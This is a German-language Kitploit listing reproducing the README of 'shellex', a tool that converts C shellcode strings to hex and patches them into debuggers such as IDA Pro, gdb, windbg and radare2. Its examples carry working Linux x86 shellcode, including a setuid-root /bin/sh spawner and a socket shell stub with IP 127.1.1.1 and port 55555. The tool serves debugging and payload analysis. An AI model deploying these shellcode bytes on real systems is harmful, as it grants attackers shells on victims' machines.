Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
shellex — C-Shellcode-zu-Hex-Konverter, praktisches Werkzeug zum Einfügen und Ausführen von Shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger und 010 editor | Kitploit
Tools/GitHubGitHub/therealdreg/shellex
ExploitationReverse EngineeringShellcodeDebuggerDienstprogramme & FrameworksBinäranalyseShellcode-GenerierungPayload-Entwicklung
GitHubtherealdreg/shellex

shellex

C-Shellcode-zu-Hex-Konverter, praktisches Werkzeug zum Einfügen und Ausführen von Shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger und 010 editor

Repository anzeigen
1122310vor 3 JahrenVon Kitploit geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

shellex

WARNUNG: der hässlichste Code der Welt

C-Shellcode-zu-Hex-Konverter.

Bitte erwägen Sie eine Spende: https://github.com/sponsors/therealdreg

Praktisches Tool zum Einfügen und Ausführen von Shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, Immunity Debugger und 010 Editor.

Haben Sie Probleme beim Konvertieren von C-Shellcodes in HEX (vielleicht C-Kommentare+ASCII gemischt?)

Hier ist shellex. Wenn der Shellcode in einem C-Compiler kompiliert werden kann, kann shellex ihn konvertieren.

Einfach shellex ausführen, den Shellcode-C-String einfügen und ENTER drücken.

Zum Beenden verwenden Sie Strg+Z (Windows)/Strg+D (Linux)

Konvertieren von C-Shellcode-mehrzeilig-hex+gemischt_ascii (achten Sie auf den gemischten Teil \x68//sh\x68/bin\x89):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex-Ausgabe:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Konvertieren von C-Shellcode-mehrzeilig-mit-Kommentaren:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex-Ausgabe:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

Benötigen Sie die shellex-Ausgabe als neuen C-Shellcode-String? Verwenden Sie einfach den Parameter -h, Beispiel für die Konvertierung der shellex-Ausgabe:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Installation

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Für Windows:

Binärdatei:

root@kitploit:~
shellex\bins\shellex.exe

Für Linux

Abhängigkeiten:

root@kitploit:~
sudo apt-get install tcc

Binärdatei:

root@kitploit:~
shellex/linuxbins/shellex

Shellcode einfügen und ausführen in ollydbg, x64dbg, Immunity Debugger

Verwenden Sie einfach mein xshellex-Plugin:

https://github.com/therealdreg/xshellex

Shellcode einfügen und ausführen in IDA PRO mit IDAPYTHON

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • eigenes IDAPYTHON-Skript erstellen:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • C-Hex-String in die Variable shellcode kopieren.
  • Für 32 Bit verwenden: address = idc.get_reg_value("eip")
  • Für 64 Bit verwenden: address = idc.get_reg_value("rip")

Ein Programm in IDA PRO debuggen:

  • Gehen Sie zu Datei -> Skriptbefehl...
  • Skriptsprache wählen: Python
  • IDAPYTHON-Skript einfügen
  • Klicken Sie auf Ausführen

Jetzt können Sie den Shellcode mit F7 debuggen, aber möglicherweise zeigt das Disassemblierungsfenster den Shellcode als db's an.

Hier die Lösung:

  • Shellcode-Bytes im Disassemblierungsfenster auswählen
  • Rechtsklick -> Undefine
  • Shellcode-Bytes erneut im Disassemblierungsfenster auswählen
  • Rechtsklick -> Code -> Force -> Ja

Fertig! Sie können den disassemblierten Shellcode anzeigen und mit F7 debuggen.

Shellcode einfügen und ausführen in gdb

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • C-Hex-String mit "echo" als rohe Binärdaten in eine Datei schreiben:
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

Binärdatei an den aktuellen Befehlszeiger schreiben:

für 32 Bit:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

für 64 Bit:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b ist die Größe des Shellcodes in Bytes, die Größe erhalten Sie mit:

root@kitploit:~
wc -c /tmp/sc

x/15i ist die Anzahl der anzuzeigenden Befehle, die korrekte Anzahl (vielleicht) erhalten Sie mit ndisasm:

root@kitploit:~
sudo apt-get install nasm

Für 32 Bit:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

Für 64 Bit:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

Shellcode einfügen und ausführen in gdb-gef

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • konvertieren mit: echo "SPACE shellex_output" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

patch byte-Befehl verwenden:

Für 32 Bit:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Für 64 Bit:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

context-Befehl ausführen und prüfen, ob das Disassembly korrekt ist

Shellcode einfügen und ausführen in gdb-peda

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Für 32 Bit:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Für 64 Bit:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

context-Befehl ausführen und prüfen, ob das Disassembly korrekt ist

Shellcode einfügen und ausführen in windbg

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken

via eb

Für kleine Shellcodes kann eb ausreichen, verwenden Sie einfach die shellex-Ausgabe mit dem eb-Befehl (danke an Axel Souchet @0vercl0k für den Hinweis)

Für 32 Bit:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Für 64 Bit:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

via file

  • Konvertieren Sie die shellex-Ausgabe mit certutil in rohe Binärdaten:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil-Ausgabe:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

Die Länge unseres Shellcodes beträgt 30, dann verwenden Sie L0n30 in windbg.

Binärdatei an den aktuellen Befehlszeiger schreiben:

für 32 Bit:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

für 64 Bit:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

Shellcode einfügen und ausführen in radare2

  • shellex ausführen
  • Shellcode eingeben:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • C-Hex-String in radare2 mit dem Befehl "w" schreiben:

Für 32 Bit:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

Für 64 Bit:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

Prüfen, ob der Shellcode korrekt eingefügt wurde:

Größe des Shellcodes in einem Terminal mit:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

Die Ausgabe des letzten Befehls ist 30. Nun den Befehl pD in radare2 verwenden:

root@kitploit:~
pD 30

Nicht interaktiver Modus

Konvertieren von "\x6a\x17\x58\x31\xdb\xcd\x80" in Linux:

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Konvertieren von "\x6a\x17\x58\x31\xdb\xcd\x80" in Windows:

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Über mehrzeilige Datei in Windows:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Über mehrzeilige Datei in Linux:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

Kompilierung

Für Windows verwenden Sie einfach Visual Studio 2013

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Für Linux einfach:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
Tool herunterladen